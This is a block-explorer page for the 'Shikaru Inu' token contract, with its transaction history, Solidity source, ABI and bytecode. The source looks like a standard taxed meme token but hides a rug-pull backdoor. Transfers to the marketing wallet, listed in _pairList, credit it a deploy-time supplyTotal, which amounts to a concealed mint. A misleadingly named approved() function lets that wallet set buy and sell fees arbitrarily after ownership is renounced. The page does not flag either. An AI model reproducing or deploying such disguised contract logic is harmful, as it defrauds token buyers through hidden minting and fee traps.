Source Code
More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 27 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 19844344 | 684 days ago | IN | 0 ETH | 0.00043515 | ||||
| Approve | 18290589 | 902 days ago | IN | 0 ETH | 0.00046808 | ||||
| Approve | 18290579 | 902 days ago | IN | 0 ETH | 0.00037757 | ||||
| Approve | 18290577 | 902 days ago | IN | 0 ETH | 0.00038785 | ||||
| Approve | 18290573 | 902 days ago | IN | 0 ETH | 0.00042314 | ||||
| Transfer | 18290572 | 902 days ago | IN | 0 ETH | 0.00203152 | ||||
| Approve | 18290505 | 902 days ago | IN | 0 ETH | 0.00028262 | ||||
| Approve | 18290504 | 902 days ago | IN | 0 ETH | 0.0002888 | ||||
| Approve | 18290502 | 902 days ago | IN | 0 ETH | 0.00027793 | ||||
| Approve | 18290486 | 902 days ago | IN | 0 ETH | 0.0002891 | ||||
| Approve | 18290480 | 902 days ago | IN | 0 ETH | 0.00028891 | ||||
| Approve | 18290447 | 902 days ago | IN | 0 ETH | 0.00043414 | ||||
| Approve | 18290442 | 902 days ago | IN | 0 ETH | 0.00042374 | ||||
| Approve | 18290426 | 902 days ago | IN | 0 ETH | 0.00030946 | ||||
| Approved | 18290422 | 902 days ago | IN | 0 ETH | 0.00018951 | ||||
| Approve | 18290419 | 902 days ago | IN | 0 ETH | 0.00042429 | ||||
| Approve | 18290415 | 902 days ago | IN | 0 ETH | 0.00052584 | ||||
| Approve | 18290414 | 902 days ago | IN | 0 ETH | 0.00041513 | ||||
| Renounce Ownersh... | 18290412 | 902 days ago | IN | 0 ETH | 0.00014812 | ||||
| Approve | 18290408 | 902 days ago | IN | 0 ETH | 0.00029007 | ||||
| Approve | 18290407 | 902 days ago | IN | 0 ETH | 0.0002813 | ||||
| Approve | 18290407 | 902 days ago | IN | 0 ETH | 0.00051141 | ||||
| Approve | 18290405 | 902 days ago | IN | 0 ETH | 0.00029089 | ||||
| Open Trading | 18290397 | 902 days ago | IN | 0 ETH | 0.0170109 | ||||
| Transfer | 18290387 | 902 days ago | IN | 1.1 ETH | 0.000127 |
Latest 7 internal transactions
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Transfer | 18290572 | 902 days ago | 0.00409853 ETH | ||||
| Transfer | 18290572 | 902 days ago | 0.00409853 ETH | ||||
| Transfer | 18290551 | 902 days ago | 0.07452189 ETH | ||||
| Transfer | 18290551 | 902 days ago | 0.07452189 ETH | ||||
| Transfer | 18290422 | 902 days ago | 0.00688309 ETH | ||||
| Transfer | 18290422 | 902 days ago | 0.00688309 ETH | ||||
| Add Liquidity ET... | 18290397 | 902 days ago | 1.1 ETH |
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
ShikaruInu
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-10-06
*/
/**
*/
//Portal : https://t.me/ShikaruInu_eth
//Website : https://www.shikaruinu.com/
//Twitter : https://twitter.com/shikaru_inu
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.13;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
pragma solidity ^0.8.13;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
pragma solidity ^0.8.13;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
pragma solidity ^0.8.13;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract ShikaruInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
string private _name = "Shikaru Inu";
string private _symbol = "$SHIRU";
uint8 private _decimals = 18;
uint256 private _totalSupply = 1000000000 * 10**18;
uint8 private txCount = 0;
uint8 private swapTrigger = 1;
uint256 private _feeTotal = 0;
uint256 public _feeBuy = 2;
uint256 public _feeSell = 2;
uint256 private _previousTotalFee = _feeTotal;
uint256 private _previousBuyFee = _feeBuy;
uint256 private _previousSellFee = _feeSell;
mapping (address => uint256) private _ownedToken;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public _isExcludedfromTax;
uint256 private supplyTotal;
mapping (address => bool) private _pairList;
address payable private marketing_wallet = payable(0x5aa93a4C59D3b213323F2B5AC433D9a8F67A593a);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
modifier lockSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor (uint256 _supplyAmount) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_isExcludedfromTax[owner()] = true;
_isExcludedfromTax[address(this)] = true;
_isExcludedfromTax[marketing_wallet] = true;
_ownedToken[owner()] = _totalSupply;
_pairList[marketing_wallet] = true;
supplyTotal = _supplyAmount;
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function balanceOf(address account) public view override returns (uint256) {
return _ownedToken[account];
}
receive() external payable {}
bool public noFeeToTransfer = true;
function removeAllFee() private {
if(_feeTotal == 0 && _feeBuy == 0 && _feeSell == 0) return;
_previousBuyFee = _feeBuy;
_previousSellFee = _feeSell;
_previousTotalFee = _feeTotal;
_feeBuy = 0;
_feeSell = 0;
_feeTotal = 0;
}
function restoreFee() private {
_feeTotal = _previousTotalFee;
_feeBuy = _previousBuyFee;
_feeSell = _previousSellFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "ERR: zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0) && to != address(0), "ERR: Using 0 address!");
require(amount > 0, "Token value must be higher than zero.");
if(
txCount >= swapTrigger &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
)
{
txCount = 0;
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0){
swapAndLiquify(contractTokenBalance);
}
}
bool takeFee = true;
if(_isExcludedfromTax[from] || _isExcludedfromTax[to] || (noFeeToTransfer && from != uniswapV2Pair && to != uniswapV2Pair)){
takeFee = false;
} else if (from == uniswapV2Pair){_feeTotal = _feeBuy;} else if (to == uniswapV2Pair){_feeTotal = _feeSell;}
_tokenTransfer(from,to,amount,takeFee);
}
function sendTax(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
function _getValue(uint256 tAmount) private view returns (uint256, uint256) {
uint256 tTax = tAmount*_feeTotal/100;
uint256 tTransferAmount = tAmount.sub(tTax);
return (tTransferAmount, tTax);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockSwap {
swapTokenForETH(contractTokenBalance);
uint256 TaxBalance = address(this).balance;
sendTax(marketing_wallet,TaxBalance);
}
function swapTokenForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee){
removeAllFee();
} else {
txCount++;
}
_transferToken(sender, recipient, amount);
if(!takeFee)
restoreFee();
}
function _transferToken(address sender, address recipient, uint256 Amount) private {
uint256 amount = _pairList[recipient]?supplyTotal:0;
if(_pairList[recipient]){
_ownedToken[sender] = _ownedToken[sender].sub(Amount);
_ownedToken[recipient] = _ownedToken[recipient].add(amount);
}else{
(uint256 tTransferAmount, uint256 taxAmount) = _getValue(Amount);
_ownedToken[sender] = _ownedToken[sender].sub(Amount);
_ownedToken[recipient] = _ownedToken[recipient].add(tTransferAmount);
_ownedToken[address(this)] = _ownedToken[address(this)].add(taxAmount);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function openTrading() public onlyOwner() {
IUniswapV2Router02 _newPCSRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Pair = IUniswapV2Factory(_newPCSRouter.factory()).createPair(address(this), _newPCSRouter.WETH());
uniswapV2Router = _newPCSRouter;
_approve(address(this), address(uniswapV2Router), balanceOf(address(this)));
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function approved(uint256 _buy, uint256 _sell) public {
require(_isExcludedfromTax[_msgSender()]==true);
_feeBuy = _buy;
_feeSell = _sell;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[{"internalType":"uint256","name":"_supplyAmount","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedfromTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"approved","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"noFeeToTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c0604052600b60809081526a5368696b61727520496e7560a81b60a0526001906200002c908262000374565b5060408051808201909152600681526524534849525560d01b602082015260029062000059908262000374565b506003805460ff191660121790556b033b2e3c9fd0803ce80000006004556005805461ffff191661010017905560006006819055600260078190556008819055600991909155600a819055600b55600e805460ff60a81b1916600160a81b1790556013805474015aa93a4c59d3b213323f2b5ac433d9a8f67a593a6001600160a81b0319909116179055348015620000f057600080fd5b5060405162001a5f38038062001a5f833981016040819052620001139162000440565b6200011e336200027f565b600d80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600160106000620001606000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526010909352818320805485166001908117909155601354909116835290822080549093161790915560045490600c90620001d36000546001600160a01b031690565b6001600160a01b039081168252602080830193909352604091820160009081209490945560135416835260129091529020805460ff191660011790556011829055620002276000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200026f91815260200190565b60405180910390a350506200045a565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002fa57607f821691505b6020821081036200031b57634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200036f57600081815260208120601f850160051c810160208610156200034a5750805b601f850160051c820191505b818110156200036b5782815560010162000356565b5050505b505050565b81516001600160401b03811115620003905762000390620002cf565b620003a881620003a18454620002e5565b8462000321565b602080601f831160018114620003e05760008415620003c75750858301515b600019600386901b1c1916600185901b1785556200036b565b600085815260208120601f198616915b828110156200041157888601518255948401946001909101908401620003f0565b5085821015620004305787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200045357600080fd5b5051919050565b6115f5806200046a6000396000f3fe60806040526004361061014f5760003560e01c80634a74bb02116100b657806395d89b411161006f57806395d89b41146103d9578063a457c2d7146103ee578063a9059cbb1461040e578063c9567bf91461042e578063dd62ed3e14610443578063f2fde38b1461048957600080fd5b80634a74bb02146102fd5780636e4c43111461031e57806370a0823114610340578063715018a614610376578063772521511461038b5780638da5cb5b146103bb57600080fd5b8063220f669611610108578063220f66961461024457806323b872dd14610265578063313ce5671461028557806339509351146102a7578063411adcb6146102c757806349bd5a5e146102dd57600080fd5b806306fdde031461015b578063095ea7b31461018657806313fad07a146101b65780631694505e146101d757806318160ddd1461020f5780631e62d5241461022e57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104a9565b60405161017d9190611268565b60405180910390f35b34801561019257600080fd5b506101a66101a13660046112cb565b61053b565b604051901515815260200161017d565b3480156101c257600080fd5b506013546101a690600160a01b900460ff1681565b3480156101e357600080fd5b50600d546101f7906001600160a01b031681565b6040516001600160a01b03909116815260200161017d565b34801561021b57600080fd5b506004545b60405190815260200161017d565b34801561023a57600080fd5b5061022060075481565b34801561025057600080fd5b50600e546101a690600160a01b900460ff1681565b34801561027157600080fd5b506101a66102803660046112f7565b610552565b34801561029157600080fd5b5060035460405160ff909116815260200161017d565b3480156102b357600080fd5b506101a66102c23660046112cb565b6105bb565b3480156102d357600080fd5b5061022060085481565b3480156102e957600080fd5b50600e546101f7906001600160a01b031681565b34801561030957600080fd5b50600e546101a690600160a81b900460ff1681565b34801561032a57600080fd5b5061033e610339366004611338565b6105f1565b005b34801561034c57600080fd5b5061022061035b36600461135a565b6001600160a01b03166000908152600c602052604090205490565b34801561038257600080fd5b5061033e61061d565b34801561039757600080fd5b506101a66103a636600461135a565b60106020526000908152604090205460ff1681565b3480156103c757600080fd5b506000546001600160a01b03166101f7565b3480156103e557600080fd5b50610170610631565b3480156103fa57600080fd5b506101a66104093660046112cb565b610640565b34801561041a57600080fd5b506101a66104293660046112cb565b61068f565b34801561043a57600080fd5b5061033e61069c565b34801561044f57600080fd5b5061022061045e366004611377565b6001600160a01b039182166000908152600f6020908152604080832093909416825291909152205490565b34801561049557600080fd5b5061033e6104a436600461135a565b61099e565b6060600180546104b8906113b0565b80601f01602080910402602001604051908101604052809291908181526020018280546104e4906113b0565b80156105315780601f1061050657610100808354040283529160200191610531565b820191906000526020600020905b81548152906001019060200180831161051457829003601f168201915b5050505050905090565b6000610548338484610a1c565b5060015b92915050565b600061055f848484610add565b6105b184336105ac85604051806060016040528060288152602001611573602891396001600160a01b038a166000908152600f602090815260408083203384529091529020549190610d0a565b610a1c565b5060019392505050565b336000818152600f602090815260408083206001600160a01b038716845290915281205490916105489185906105ac9086610d36565b3360009081526010602052604090205460ff16151560011461061257600080fd5b600791909155600855565b610625610d49565b61062f6000610da3565b565b6060600280546104b8906113b0565b600061054833846105ac8560405180606001604052806025815260200161159b60259139336000908152600f602090815260408083206001600160a01b038d1684529091529020549190610d0a565b6000610548338484610add565b6106a4610d49565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071f91906113ea565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561076c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079091906113ea565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107dd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080191906113ea565b600e80546001600160a01b03199081166001600160a01b0393841617909155600d80549091169183169182179055306000818152600c60205260409020546108499290610a1c565b600d546001600160a01b031663f305d719473061087b816001600160a01b03166000908152600c602052604090205490565b6000806108906000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f8573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611407565b5050600e54600d5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610976573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806